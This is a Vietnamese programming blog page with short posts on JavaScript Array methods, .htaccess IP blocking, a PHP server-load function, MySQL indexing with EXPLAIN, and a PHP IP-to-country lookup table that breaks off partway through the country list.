[JS Object] Array

By admin on Thứ Sáu, Tháng Bảy 3, 2009
Filled Under: Javascript

Giải trình các phương thức và thuộc tính của đối tượng Array trong Javascript.

Mảng là một trong những từ khóa rất thông dụng trong các ngôn ngữ lập trình, nó là đơn giản nhất cho phần dữ liệu có cấu trúc. Javascript tự nhiên cũng hỗ trợ mảng, không những thế còn hỗ trợ rất hăng hái, điển hình là trong một số trường hợp có thể sử dụng các phương thức và thuộc tính của một đối tượng như sử dụng một phần tử trong mảng. Tương truyền Javascript có thể chứa chấp 4294967295  (232 – 1) phần tử, phần sau là danh sách các thuộc tính và phương thức thông dụng hay sử dụng:

Danh mục các thuộc tính:

length: cho biết số phần tử trong mảng.

prototype: cho phép mở rộng các tính năng của tất cả các mảng thông thường trong javascript.

Danh mục các phương thức:

concat(x, y..): dùng để tổng hợp một array mới từ các array đơn lẻ.

join(x): có tác dụng nối các phần tử trong mảng thành một chuỗi phân cách bởi tham sỗ x truyền vào, nếu không có mặc định sẽ là dấu ,

pop(): dùng để lấy phần tử cuối cùng của một mảng và xóa bỏ luôn phần tử này trong mảng ngược với phương  thức shift.

shift(): dùng để lấy phần tử đầu tiên trong mảng và xóa bỏ luôn phần tử này trong mảng.

unshift(): dùng để tạo thêm một phần tử vòa vị trí đầu tiên của một mảng có sẵn.

push(x): dùng để tạo thêm phần tử vào trong mảng có sẵn, phần tử này sẽ nằm ở cuối mảng.

slice(x, y): dùng để tạo một mảng mới từ một mảng có sẵn, nhận vào 2 tham số, tham số đầu là vị trí của phần tử bắt đầu, và tham số sau là vị trí của phần tử kết thúc cần lấy.

splice(x, y): dùng để xóa bỏ hoặc chèn thêm một số phần tử vào một vị trí xác định trong một mảng có sẵn.

sort(x): phương thức này dùng để sắp sếp các phần tử trong mảng, tham số truyền vào có thể là một hàm bên ngoài dùng để so sánh các phần tử trong mảng.

reverse(): dùng để đảo ngược thứ tự các phần tử trong mảng có sẵn.

toString(): phương thức trả về một chuỗi bao gồm các phần tử của mảng được nối liên tiếp với nhau.

toSource(): giá trị trả về giống phương thức toString().

valueOf(): giá trị trả về giống phương thức toString().

jsvn

không cho IP/ISP truy cập web

By admin on Thứ Sáu, Tháng Bảy 3, 2009
Filled Under: .htaccess, Hack - Security

Không cho các ip 127.0.0.1,127.0.0.2,127.0.0.3 truy cập vào web:

order allow,deny
deny from 127.0.0.1
deny from 127.0.0.2
deny from 127.0.0.3
allow from all

Không cho cả ISP truy cập: ví dụ bạn có thể không cho những người dùng mạng Viettell,FPT,.. truy cập vào web, chỉ cần biết ISP của nhà cung cấp

deny from isp_name

[PHP] Display Server Load

By admin on Thứ Hai, Tháng Sáu 29, 2009
Filled Under: PHP

<?php function get_server_load($windows = false) {
 $os = strtolower(PHP_OS);
 if(strpos($os, "win") === false) {
 if(file_exists("/proc/loadavg")) {
 $load = file_get_contents("/proc/loadavg");
 $load = explode(' ', $load);
 return $load[0];
 } 

 elseif(function_exists("shell_exec")) {
 $load = explode(' ', `uptime`);        return $load[count($load)-1];
 } else {
 return false;
 }
 } elseif($windows) {
 if(class_exists("COM")) {
 $wmi = new COM("WinMgmts:\\\\.");
 $cpus = $wmi->InstancesOf("Win32_Processor");
 $cpuload = 0;
 $i = 0;
 if(version_compare('4.50.0', PHP_VERSION) == 1) {
 // PHP 4
 while ($cpu = $cpus->Next()) {
 $cpuload += $cpu->LoadPercentage;
 $i++;
 }
 } else {
 // PHP 5
 foreach($cpus as $cpu) {
 $cpuload += $cpu->LoadPercentage;
 $i++;
 }
 }
 $cpuload = round($cpuload / $i, 2);
 return "$cpuload%";
 } else {
 return false;
 }
 }
} ?>

Các cách đánh index cho trường trong CSDL MySQL

By admin on Thứ Sáu, Tháng Sáu 12, 2009
Filled Under: SQL

Thấy bài viết hay nên copy về.

Một ngày kia bạn nhận ra rằng website của bạn chạy chậm đi, có thể là do đường truyền nhưng còn 1 nguyên nhân khác, đó là máy chủ server tính toán quá nhiều dẫn đến kết quả đưa ra. Đây là điều thường thấy ở những website về Diễn Đàn (Forum), Tin Tức (Portal) và Thương mại điện tử (Ecommerce). Khi số lượng thành viên, số lượng bài viết tăng lên, đồng nghĩa với việc Database khi truy vấn (query) 1 yêu cầu phải duyệt qua tất cả các dữ liệu hiện có để tìm ra dữ liệu thích hợp. Cũng giống như 1 quyển sách. Nếu sách là mỏng, bạn dễ dàng tìm ra thông tin mình cần. Nhưng khi sách dầy lên, thời gian tìm kiếm của bạn sẽ tăng đáng kể.

Việc Database quá tải còn dẫn đến nhiều thiệt hại khác, các hàng đợi (Queuie) dài ra, file logs lớn lên chiếm hết không gian đĩa và user khi kết nối sẽ bị từ chối. Rõ ràng là câu báo lỗi “Too many connections” không phải là hiếm gặp trong các website trên Internet. Những lỗi trên thông thường bắt nguồn từ khâu định nghĩa Database (define) hay không sử dụng Indexes. Khắc phục những thiếu sót trên, Database của bạn sẽ “nhẹ nhàng” và nhanh chóng đáng kể. Hãy xem xét ví dụ sau:

CREATE TABLE tblUsers (

user_id int(11) NOT NULL,

user_name vachar(25),

user_pwd vachar(50),

user_firstname varchar(40),

user_surname varchar(40),

user_address text,

user_tel varchar(25),

user_goal int(11),

);

Và để tìm thông tin Điểm của Nguyễn Văn A (mã số 120956), bạn sẽ query như sau:

SELECT user_goal FROM tblUsers WHERE user_id = ‘120956′;

MySQL biết rằng phải tìm ở table tblUsers nhưng nó sẽ không biết bắt đầu từ đâu. Thậm chí nó cũng không biết trước rằng có bao nhiêu kết quả . Do đó nó sẽ duyệt qua tất cả danh sách (vd Hơn 300.000 người) để tìm thông tin về Nguyễn Văn A.

Index là 1 file riêng biệt được lưu trữ ở máy chủ và chỉ chứa những Fields mà bạn muốn nó chứa. Nếu bạn tạo 1 Index cho Field user_id (mã số người dùng), MySQL sẽ dễ dàng tìm ra được mã số 1 cách nhanh chóng. Trở lại ví dụ quyển sách, khi cần tìm 1 thông tin, ta thường lật ngay tới phần “Mục Lục” và tìm từ đó để tăng tốc độ tìm. Và việc tạo ra Index này sẽ làm bạn thấy Database của bạn chạy nhanh 1 cách khác thường.

Nhưng trước khi sửa lại cấu trúc của table ở trên, tôi sẽ hướng dẫn bạn 1 chút về cách theo dõi kết quả “Tăng tốc MySQL” mà bạn đang làm. Hãy sử dụng lệnh EXPLAIN

Cú pháp: EXPLAIN Query;

Bằng lệnh này bạn sẽ nhận ra được với câu Query của bạn, điều gì đang xảy ra và kiểu kết hợp (Join) nào đang diễn ra bên trong.

Xem ví dụ sau:

mysql>EXPLAIN SELECT user_id,user_firstname,user_surname FROM tblUsers WHERE user_id= ‘120956‘;

+———-+——+—————+——+———+——+——+————+

| table | type | possible_keys | key | key_len | ref | rows | Extra |

+———-+——+—————+——+———+——+——+————+

| tblUsers | ALL | NULL | NULL | NULL | NULL | 86792| where used |

+———-+——+—————+——+———+——+——+————+

Giải thích:

- table : Table nào đang liên quan đến output data

- type : Đây là thông tin quan trọng, nó cho chúng ta biết kiểu query nào nó đang sử dụng. Mức độ từ tốt nhất đến chậm nhất như sau: system, const, eq_ref, ref, range, index, all

- possible_keys : Đưa ra những Index có thể sử dụng để query

- key : và Index nào đang được sử dụng

- key_len : Chiều dài của từng mục trong Index

- ref : Cột nào đang sử dụng

- rows : Số hàng (rows) mà MySQL dự đoán phải tìm

- extra : Thông tin phụ, thật tệ nếu tại cột này là “using temporary” hay “using filesort”

Wow, nhìn lại câu query của chúng ta mới thật khủng khiếp. Không có Possible_keys nào được sử dụng, MySQL phải duyệt qua 86792 bản ghi mới tìm ra cái ta cần (Hãy tưởng tượng 1 Forum sẽ có đến hơn 500.000 bản ghi).

Bây giờ chúng ta sẽ thêm Index vào và query lại

mysql>ALTER TABLE tblUsers ADD INDEX idx_userid(user_id);

mysql>EXPLAIN SELECT user_id,user_firstname,user_surname FROM tblUsers WHERE user_id= ‘120956‘;

+———-+——-+—————+———+———+——-+——+——-+

| table | type | possible_keys | key | key_len | ref | rows | Extra |

+———-+——-+—————+———+———+——-+——+——-+

| tblUsers | const | PRIMARY | PRIMARY | 10 | const | 1 | |

+———-+——-+—————+———+———+——-+——+——-+

Tốt hơn nhiều rồi, kiểu TYPE = Const có nghĩa rằng MYSQL hiểu ra chỉ có 1 hàng đúng với ý ta, và thể hiện qua cột Rows = 1, kiểu key= PRIMARY được sử dụng và chiều dài key_len là 10.Chỉ tìm 1 hàng tất nhiên rằng tốt hơn nhiều so với tìm 86792 hàng

Vậy câu hỏi đặt ra là, nếu tôi muốn thêm Index cho những cột mà có thể có nhiều hơn 1 kết quả khi query thì sao?

Vẫn add index như bình thường,giả sử bạn cần tìm những người có họ là Nguyễn Văn, tên là A

mysql>ALTER TABLE tblUsers ADD INDEX idxSFname (user_surname, user_firstname);

mysql>EXPLAIN SELECT user_goal FROM tblUsers WHERE user_surname=’Nguyễn Văn‘ AND user_firstname=”A“;

+——–+——+——————-+———+———+——-+——+———–+

| table | type | possible_keys | key | key_len | ref | rows | Extra |

+——–+——+——————-+———+———+——-+——+———–+

|tblUsers| ref | user_surname,user_firstname | idxSFname | 41 | const | 1 |where used |

+——–+——+——————-+———+———+——-+——+———–+

Tuy nhiên, nếu chỉ cần user_firstname

mysql>EXPLAIN SELECT user_goal FROM tblUsers WHERE user_firstname=’Name’;

+———-+——+—————+——+———+——+——+————+

| table | type | possible_keys | key | key_len | ref | rows | Extra |

+———-+——+—————+——+———+——+——+————+

| tblUsers | ALL | NULL | NULL | NULL | NULL | 86792 | where used |

+———-+——+—————+——+———+——+——+————+

thì MySQL sẽ tìm hết vì không hề có Index cho user_firstname mà chỉ có Index cho (user_surname, user_firstname).

Khi nào thì cần Add Index ? Bất cứ khi nào bạn thay đổi Table bạn đều cần Add Index lại, giống như khi bạn thay đổi nội dung quyển sách, bạn cần phải làm lại mục lục. Vậy hãy cân nhắc, nếu Database của bạn sử dụng INSERT hay UPDATE nhiều hơn là SELECT thì Index chỉ làm chậm thêm mà thôi.

Có thể nhanh hơn nữa không ? Câu trả lời là Có! Bạn không cần phải làm Index cho cả Field mà chỉ cần 1 phần. Giống như chi tiết Mục Lục của sách mà quá dài cũng làm bạn khá vất vả, do đó họ chỉ trích dẫn 1 tựa đề. Quay lại với table của chúng ta, user_surname và user_firstname chỉ maximum là 40 chars, nếu chúng ta index nó, chúng ta tạo ra mỗi record đến 80 chars . Có thể tiết kiệm bằng cách sau

mysql>ALTER TABLE tblUsers ADD INDEX(user_surname(20),user_firstname(20));

Bây giờ thì bạn tiết kiệm được đến 50% mà vẫn đảm bảo được tốc độ rồi đó (trừ phi bạn làm Index quá ngắn). Có thể bạn nói đĩa cứng server tôi “vô tư” nhưng hãy nhớ rằng “Nhỏ hơn là nhanh hơn”.

ĐIỀU KÌ DIỆU VỚI OPTIMIZE VÀ ANALYZE

“Ma thuật” của MySQL là biết cách chọn khoá (key) nào để query(nếu có). Quá trình này gọi là “query optimizer”, nó sẽ “liếc” qua những Index đang có để quyết định sẽ dùng Index nào để tìm. Hãy tưởng tượng bạn đang tìm 1 dĩa CD của “Maria Carrey” có tên là “I Love You”, có nghĩa là có 2 Indexes ở đây, 1 cho tên tác giả và 1 cho tên CD. Bạn nhận thấy rằng danh mục có 20.000 tên tác giả và 400.000 tên Album. Một cách đơn giản,bạn sẽ tìm theo tên tác giả. Khi có được, bạn lại thấy rằng “Maria Carrey” có 50 CDs và CD “I Love You” bắt đầu bằng chữ I. Đơn giản và dễ dàng tìm ra cái mình muốn phải không ? MySQL cũng vậy nhưng …bạn phải chỉ cho nó bằng cách:

ANALYZE TABLE tablename;

Những lệnh DELETE và UPDATE để lại rất nhiều những khoảng trống (gaps) vô nghĩa cho table (Đặc biệt là khi bạn dùng kiểu varchar hay text/blob). Điều đó có nghĩa rằng MySQL cũng phải đọc và phân tích những thứ vô nghĩa đó khi query. Điều này được khắc phục khi bạn chạy

OPTIMIZE tablename;

Do đó 2 câu lệnh trên bạn nên chạy 1 cách thường xuyên để bảo đảm tối ưu hoá Database của mình.

Firefox – Command Line Options

By admin on Chủ Nhật, Tháng Sáu 7, 2009
Filled Under: Lập trình

Đang viết chưong trình điều khiển firefox, thấy cài này hay hay:

https://developer.mozilla.org/en/Command_Line_Options

php – Chuyển từ IP sang Country [ ip 2 country ]

By admin on Thứ Ba, Tháng Năm 26, 2009
Filled Under: PHP

Ta dùng file countries.php:

<?php
$anp_cd["AD"]=array("Andorra", "Europe", "Andorra la Vella", "Euro");
$anp_cd["AE"]=array("United Arab Emirates", "Middle East", "Abu Dhabi", "UAE Dirham");
$anp_cd["AF"]=array("Afghanistan", "Asia", "Kabul", "Afghani");
$anp_cd["AG"]=array("Antigua and Barbuda", "Central America and the Caribbean", "Saint John's", "East Caribbean Dollar");
$anp_cd["AI"]=array("Anguilla", "Central America and the Caribbean", "The Valley", "East Caribbean Dollar");
$anp_cd["AL"]=array("Albania", "Europe", "Tirana", "Lek");
$anp_cd["AM"]=array("Armenia", "Commonwealth of Independent States", "Yerevan", "Armenian Dram");
$anp_cd["AN"]=array("Netherlands Antilles", "Central America and the Caribbean", "Willemstad", "Netherlands Antillean guilder");
$anp_cd["AO"]=array("Angola", "Africa", "Luanda", "Kwanza");
$anp_cd["AQ"]=array("Antarctica", "Antarctic Region", "--", "");
$anp_cd["AR"]=array("Argentina", "South America", "Buenos Aires", "Argentine Peso");
$anp_cd["AS"]=array("American Samoa", "Oceania", "Pago Pago", "US Dollar");
$anp_cd["AT"]=array("Austria", "Europe", "Vienna", "Euro");
$anp_cd["AU"]=array("Australia", "Oceania", "Canberra", "Australian dollar");
$anp_cd["AW"]=array("Aruba", "Central America and the Caribbean", "Oranjestad", "Aruban Guilder");
$anp_cd["AZ"]=array("Azerbaijan", "Commonwealth of Independent States", "Baku (Baki)", "Azerbaijani Manat");
$anp_cd["BA"]=array("Bosnia and Herzegovina","Bosnia and Herzegovina ,Europe", "Sarajevo","Convertible Marka");
$anp_cd["BB"]=array("Barbados", "Central America and the Caribbean", "Bridgetown", "Barbados Dollar");
$anp_cd["BD"]=array("Bangladesh", "Asia", "Dhaka", "Taka");
$anp_cd["BE"]=array("Belgium", "Europe", "Brussels", "Euro");
$anp_cd["BF"]=array("Burkina Faso", "Africa", "Ouagadougou", "CFA Franc BCEAO");
$anp_cd["BG"]=array("Bulgaria", "Europe", "Sofia", "Lev");
$anp_cd["BH"]=array("Bahrain", "Middle East", "Manama", "Bahraini Dinar");
$anp_cd["BI"]=array("Burundi", "Africa", "Bujumbura", "Burundi Franc");
$anp_cd["BJ"]=array("Benin", "Africa", "Porto-Novo", "CFA Franc BCEAO");
$anp_cd["BM"]=array("Bermuda", "North America", "Hamilton", "Bermudian Dollar");
$anp_cd["BN"]=array("Brunei Darussalam", "Southeast Asia", "Bandar Seri Begawan", "Brunei Dollar");
$anp_cd["BO"]=array("Bolivia", "South America", "La Paz /Sucre", "Boliviano");
$anp_cd["BR"]=array("Brazil", "South America", "Brasilia", "Brazilian Real");
$anp_cd["BS"]=array("The Bahamas", "Central America and the Caribbean", "Nassau", "Bahamian Dollar");
$anp_cd["BT"]=array("Bhutan", "Asia", "Thimphu", "Ngultrum");
$anp_cd["BV"]=array("Bouvet Island", "Antarctic Region", "--", "Norwegian Krone");
$anp_cd["BW"]=array("Botswana", "Africa", "Gaborone", "Pula");
$anp_cd["BY"]=array("Belarus", "Commonwealth of Independent States", "Minsk", "Belarussian Ruble");
$anp_cd["BZ"]=array("Belize", "Central America and the Caribbean", "Belmopan", "Belize Dollar");
$anp_cd["CA"]=array("Canada", "North America", "Ottawa", "Canadian Dollar");
$anp_cd["CC"]=array("Cocos (Keeling) Islands", "Southeast Asia", "West Island", "Australian Dollar");
$anp_cd["CD"]=array("Congo, Democratic Republic of the", "Africa", "Kinshasa","Franc Congolais");
$anp_cd["CF"]=array("Central African Republic", "Africa", "Bangui", "CFA Franc BEAC");
$anp_cd["CG"]=array("Congo, Republic of the","Africa", "Brazzaville","CFA Franc BEAC");
$anp_cd["CH"]=array("Switzerland", "Europe", "Bern", "Swiss Franc");
$anp_cd["CI"]=array("Cote d'Ivoire", "Africa", "Yamoussoukro", "CFA Franc BCEAO");
$anp_cd["CK"]=array("Cook Islands", "Oceania", "Avarua", "New Zealand Dollar");
$anp_cd["CL"]=array("Chile", "South America", "Santiago", "Chilean Peso");
$anp_cd["CM"]=array("Cameroon", "Africa", "Yaounde", "CFA Franc BEAC");
$anp_cd["CN"]=array("China", "Asia", "Beijing", "Yuan Renminbi");
$anp_cd["CO"]=array("Colombia", "South America,Central America and the Caribbean","Bogota","Colombian Peso");
$anp_cd["CR"]=array("Costa Rica", "Central America and the Caribbean", "San Jose", "Costa Rican Colon");
$anp_cd["CU"]=array("Cuba", "Central America and the Caribbean", "Havana", "Cuban Peso");
$anp_cd["CV"]=array("Cape Verde", "World", "Praia", "Cape Verdean Escudo");
$anp_cd["CX"]=array("Christmas Island", "Southeast Asia", "The Settlement", "Australian Dollar");
$anp_cd["CY"]=array("Cyprus", "Middle East", "Nicosia", "Cyprus Pound");
$anp_cd["CZ"]=array("Czech Republic", "Europe", "Prague", "Czech Koruna");
$anp_cd["DE"]=array("Germany", "Europe", "Berlin", "Euro");
$anp_cd["DJ"]=array("Djibouti", "Africa", "Djibouti", "Djibouti Franc");
$anp_cd["DK"]=array("Denmark", "Europe", "Copenhagen", "Danish Krone");
$anp_cd["DM"]=array("Dominica", "Central America and the Caribbean", "Roseau", "East Caribbean Dollar");
$anp_cd["DO"]=array("Dominican Republic", "Central America and the Caribbean", "Santo Domingo", "Dominican Peso");
$anp_cd["DZ"]=array("Algeria", "Africa", "Algiers", "Algerian Dinar");
$anp_cd["EC"]=array("Ecuador", "South America", "Quito", "US dollar");
$anp_cd["EE"]=array("Estonia", "Europe", "Tallinn", "Kroon");
$anp_cd["EG"]=array("Egypt", "Africa", "Cairo", "Egyptian Pound");
$anp_cd["EH"]=array("Western Sahara", "Africa", "--", "Moroccan Dirham");
$anp_cd["ER"]=array("Eritrea", "Africa", "Asmara", "Nakfa");
$anp_cd["ES"]=array("Spain", "Europe", "Madrid", "Euro");
$anp_cd["ET"]=array("Ethiopia", "Africa", "Addis Ababa", "Ethiopian Birr");
$anp_cd["FI"]=array("Finland", "Europe", "Helsinki", "Euro");
$anp_cd["FJ"]=array("Fiji", "Oceania", "Suva", "Fijian Dollar");
$anp_cd["FK"]=array("Falkland Islands (Islas Malvinas)", "South America", "Stanley", "Falkland Islands Pound");
$anp_cd["FM"]=array("Micronesia, Federated States of","Oceania","Palikir","US dollar");
$anp_cd["FO"]=array("Faroe Islands", "Europe", "Torshavn", "Danish Krone");
$anp_cd["FR"]=array("France", "Europe", "Paris", "Euro");
$anp_cd["FX"]=array("France, Metropolitan", "--", "--", "Euro");
$anp_cd["GA"]=array("Gabon", "Africa", "Libreville", "CFA Franc BEAC");
$anp_cd["GD"]=array("Grenada", "Central America and the Caribbean", "Saint George's", "East Caribbean Dollar");
$anp_cd["GE"]=array("Georgia", "Commonwealth of Independent States", "T'bilisi", "Lari");
$anp_cd["GF"]=array("French Guiana", "South America", "Cayenne", "Euro");
$anp_cd["GG"]=array("Guernsey", "Europe", "Saint Peter Port", "Pound Sterling");
$anp_cd["GH"]=array("Ghana", "Africa", "Accra", "Cedi");
$anp_cd["GI"]=array("Gibraltar", "Europe", "Gibraltar", "Gibraltar Pound");
$anp_cd["GL"]=array("Greenland", "Arctic Region", "Nuuk", "Danish Krone");
$anp_cd["GM"]=array("The Gambia", "Africa", "Banjul", "Dalasi");
$anp_cd["GN"]=array("Guinea", "Africa", "Conakry", "Guinean Franc");
$anp_cd["GP"]=array("Guadeloupe", "Central America and the Caribbean", "Basse-Terre", "Euro");
$anp_cd["GQ"]=array("Equatorial Guinea", "Africa", "Malabo", "CFA Franc BEAC");
$anp_cd["GR"]=array("Greece", "Europe", "Athens", "Euro");
$anp_cd["GS"]=array("South Georgia and the South Sandwich Islands", "Antarctic Region", "--", "Pound Sterling");
$anp_cd["GT"]=array("Guatemala", "Central America and the Caribbean", "Guatemala", "Quetzal");
$anp_cd["GU"]=array("Guam", "Oceania", "Hagatna", "US Dollar");
$anp_cd["GW"]=array("Guinea-Bissau", "Africa", "Bissau", "CFA Franc BCEAO");
$anp_cd["GY"]=array("Guyana", "South America", "Georgetown", "Guyana Dollar");
$anp_cd["HK"]=array("Hong Kong (SAR)", "Southeast Asia", "Hong Kong", "Hong Kong Dollar");
$anp_cd["HM"]=array("Heard Island and McDonald Islands", "Antarctic Region", "--", "Australian Dollar");
$anp_cd["HN"]=array("Honduras", "Central America and the Caribbean", "Tegucigalpa", "Lempira");
$anp_cd["HR"]=array("Croatia", "Europe", "Zagreb", "Kuna");
$anp_cd["HT"]=array("Haiti", "Central America and the Caribbean", "Port-au-Prince", "Gourde");
$anp_cd["HU"]=array("Hungary", "Europe", "Budapest", "Forint");
$anp_cd["ID"]=array("Indonesia", "Southeast Asia", "Jakarta", "Rupiah");
$anp_cd["IE"]=array("Ireland", "Europe", "Dublin", "Euro");
$anp_cd["IL"]=array("Israel", "Middle East", "Jerusalem", "New Israeli Sheqel");
$anp_cd["IM"]=array("Man, Isle of","Europe","Douglas","Pound Sterling");
$anp_cd["IN"]=array("India", "Asia", "New Delhi", "Indian Rupee");
$anp_cd["IO"]=array("British Indian Ocean Territory", "World", "--", "US Dollar");
$anp_cd["IQ"]=array("Iraq", "Middle East", "Baghdad", "Iraqi Dinar");
$anp_cd["IR"]=array("Iran", "Middle East", "Tehran", "Iranian Rial");
$anp_cd["IS"]=array("Iceland", "Arctic Region", "Reykjavik", "Iceland Krona");
$anp_cd["IT"]=array("Italy", "Europe", "Rome", "Euro");
$anp_cd["JE"]=array("Jersey", "Europe", "Saint Helier", "Pound Sterling");
$anp_cd["JM"]=array("Jamaica", "Central America and the Caribbean", "Kingston", "Jamaican dollar");
$anp_cd["JO"]=array("Jordan", "Middle East", "Amman", "Jordanian Dinar");
$anp_cd["JP"]=array("Japan", "Asia", "Tokyo", "Yen");
$anp_cd["KE"]=array("Kenya", "Africa", "Nairobi", "Kenyan shilling");
$anp_cd["KG"]=array("Kyrgyzstan", "Commonwealth of Independent States", "Bishkek", "Som");
$anp_cd["KH"]=array("Cambodia", "Southeast Asia", "Phnom Penh", "Riel");
$anp_cd["KI"]=array("Kiribati", "Oceania", "Tarawa", "Australian dollar");
$anp_cd["KM"]=array("Comoros", "Africa", "Moroni", "Comoro Franc");
$anp_cd["KN"]=array("Saint Kitts and Nevis", "Central America and the Caribbean", "Basseterre", "East Caribbean Dollar");
$anp_cd["KP"]=array("Korea, North","Asia","P'yongyang","North Korean Won");
$anp_cd["KR"]=array("Korea, South","Asia","Seoul","Won");
$anp_cd["KW"]=array("Kuwait", "Middle East", "Kuwait", "Kuwaiti Dinar");
$anp_cd["KY"]=array("Cayman Islands", "Central America and the Caribbean", "George Town", "Cayman Islands Dollar");
$anp_cd["KZ"]=array("Kazakhstan", "Commonwealth of Independent States", "Astana", "Tenge");
$anp_cd["LA"]=array("Laos", "Southeast Asia", "Vientiane", "Kip");
$anp_cd["LB"]=array("Lebanon", "Middle East", "Beirut", "Lebanese Pound");
$anp_cd["LC"]=array("Saint Lucia", "Central America and the Caribbean", "Castries", "East Caribbean Dollar");
$anp_cd["LI"]=array("Liechtenstein", "Europe", "Vaduz", "Swiss Franc");
$anp_cd["LK"]=array("Sri Lanka", "Asia", "Colombo", "Sri Lanka Rupee");
$anp_cd["LR"]=array("Liberia", "Africa", "Monrovia", "Liberian Dollar");
$anp_cd["LS"]=array("Lesotho", "Africa", "Maseru", "Loti");
$anp_cd["LT"]=array("Lithuania", "Europe", "Vilnius", "Lithuanian Litas");
$anp_cd["LU"]=array("Luxembourg", "Europe", "Luxembourg", "Euro");
$anp_cd["LV"]=array("Latvia", "Europe", "Riga", "Latvian Lats");
$anp_cd["LY"]=array("Libya", "Africa", "Tripoli", "Libyan Dinar");
$anp_cd["MA"]=array("Morocco", "Africa", "Rabat", "Moroccan Dirham");
$anp_cd["MC"]=array("Monaco", "Europe", "Monaco", "Euro");
$anp_cd["MD"]=array("Moldova", "Commonwealth of Independent States", "Chisinau", "Moldovan Leu");
$anp_cd["MG"]=array("Madagascar", "Africa", "Antananarivo", "Malagasy Franc");
$anp_cd["MH"]=array("Marshall Islands", "Oceania", "Majuro", "US dollar");
$anp_cd["MK"]=array("Macedonia, The Former Yugoslav Republic of","Europe","Skopje","Denar");
$anp_cd["ML"]=array("Mali", "Africa", "Bamako", "CFA Franc BCEAO");
$anp_cd["MM"]=array("Burma", "Southeast Asia", "Rangoon", "kyat");
$anp_cd["MN"]=array("Mongolia", "Asia", "Ulaanbaatar", "Tugrik");
$anp_cd["MO"]=array("Macao", "Southeast Asia", "Macao", "Pataca");
$anp_cd["MP"]=array("Northern Mariana Islands", "Oceania", "Saipan", "US Dollar");
$anp_cd["MQ"]=array("Martinique", "Central America and the Caribbean", "Fort-de-France", "Euro");
$anp_cd["MR"]=array("Mauritania", "Africa", "Nouakchott", "Ouguiya");
$anp_cd["MS"]=array("Montserrat", "Central America and the Caribbean", "Plymouth", "East Caribbean Dollar");
$anp_cd["MT"]=array("Malta", "Europe", "Valletta", "Maltese Lira");
$anp_cd["MU"]=array("Mauritius", "World", "Port Louis", "Mauritius Rupee");
$anp_cd["MV"]=array("Maldives", "Asia", "Male", "Rufiyaa");
$anp_cd["MW"]=array("Malawi", "Africa", "Lilongwe", "Kwacha");
$anp_cd["MX"]=array("Mexico", "North America", "Mexico", "Mexican Peso");
$anp_cd["MY"]=array("Malaysia", "Southeast Asia", "Kuala Lumpur", "Malaysian Ringgit");
$anp_cd["MZ"]=array("Mozambique", "Africa", "Maputo", "Metical");
$anp_cd["NA"]=array("Namibia", "Africa", "Windhoek", "Namibian Dollar");
$anp_cd["NC"]=array("New Caledonia", "Oceania", "Noumea", "CFP Franc");
$anp_cd["NE"]=array("Niger", "Africa", "Niamey", "CFA Franc BCEAO");
$anp_cd["NF"]=array("Norfolk Island", "Oceania", "Kingston", "Australian Dollar");
$anp_cd["NG"]=array("Nigeria", "Africa", "Abuja", "Naira");
$anp_cd["NI"]=array("Nicaragua", "Central America and the Caribbean", "Managua", "Cordoba Oro");
$anp_cd["NL"]=array("Netherlands", "Europe", "Amsterdam", "Euro");
$anp_cd["NO"]=array("Norway", "Europe", "Oslo", "Norwegian Krone");
$anp_cd["NP"]=array("Nepal", "Asia", "Kathmandu", "Nepalese Rupee");
$anp_cd["NR"]=array("Nauru", "Oceania", "--", "Australian Dollar");
$anp_cd["NU"]=array("Niue", "Oceania", "Alofi", "New Zealand Dollar");
$anp_cd["NZ"]=array("New Zealand", "Oceania", "Wellington", "New Zealand Dollar");
$anp_cd["OM"]=array("Oman", "Middle East", "Muscat", "Rial Omani");
$anp_cd["PA"]=array("Panama", "Central America and the Caribbean", "Panama", "balboa");
$anp_cd["PE"]=array("Peru", "South America", "Lima", "Nuevo Sol");
$anp_cd["PF"]=array("French Polynesia", "Oceania", "Papeete", "CFP Franc");
$anp_cd["PG"]=array("Papua New Guinea", "Oceania", "Port Moresby", "Kina");
$anp_cd["PH"]=array("Philippines", "Southeast Asia", "Manila", "Philippine Peso");
$anp_cd["PK"]=array("Pakistan", "Asia", "Islamabad", "Pakistan Rupee");
$anp_cd["PL"]=array("Poland", "Europe", "Warsaw", "Zloty");
$anp_cd["PM"]=array("Saint Pierre and Miquelon", "North America", "Saint-Pierre", "Euro");
$anp_cd["PN"]=array("Pitcairn Islands", "Oceania", "Adamstown", "New Zealand Dollar");
$anp_cd["PR"]=array("Puerto Rico", "Central America and the Caribbean", "San Juan", "US dollar");
$anp_cd["PS"]=array("Palestinian Territory, Occupied","--","","");
$anp_cd["PT"]=array("Portugal", "Europe", "Lisbon", "Euro");
$anp_cd["PW"]=array("Palau", "Oceania", "Koror", "US dollar");
$anp_cd["PY"]=array("Paraguay", "South America", "Asuncion", "Guarani");
$anp_cd["QA"]=array("Qatar", "Middle East", "Doha", "Qatari Rial");
$anp_cd["RE"]=array("Réunion", "World", "Saint-Denis", "Euro");
$anp_cd["RO"]=array("Romania", "Europe", "Bucharest", "Leu");
$anp_cd["RU"]=array("Russia", "Asia", "Moscow", "Russian Ruble");
$anp_cd["RW"]=array("Rwanda", "Africa", "Kigali", "Rwanda Franc");
$anp_cd["SA"]=array("Saudi Arabia", "Middle East", "Riyadh", "Saudi Riyal");
$anp_cd["SB"]=array("Solomon Islands", "Oceania", "Honiara", "Solomon Islands Dollar");
$anp_cd["SC"]=array("Seychelles", "Africa", "Victoria", "Seychelles Rupee");
$anp_cd["SD"]=array("Sudan", "Africa", "Khartoum", "Sudanese Dinar");
$anp_cd["SE"]=array("Sweden", "Europe", "Stockholm", "Swedish Krona");
$anp_cd["SG"]=array("Singapore", "Southeast Asia", "Singapore", "Singapore Dollar");
$anp_cd["SH"]=array("Saint Helena", "Africa", "Jamestown", "Saint Helenian Pound");
$anp_cd["SI"]=array("Slovenia", "Europe", "Ljubljana", "Tolar");
$anp_cd["SJ"]=array("Svalbard", "Arctic Region", "Longyearbyen", "Norwegian Krone");
$anp_cd["SK"]=array("Slovakia", "Europe", "Bratislava", "Slovak Koruna");
$anp_cd["SL"]=array("Sierra Leone", "Africa", "Freetown", "Leone");
$anp_cd["SM"]=array("San Marino", "Europe", "San Marino", "Euro");
$anp_cd["SN"]=array("Senegal", "Africa", "Dakar", "CFA Franc BCEAO");
$anp_cd["SO"]=array("Somalia", "Africa", "Mogadishu", "Somali Shilling");
$anp_cd["SR"]=array("Suriname", "South America", "Paramaribo", "Suriname Guilder");
$anp_cd["ST"]=array("São Tom?and Príncipe", "Africa", "Sao Tome", "Dobra");
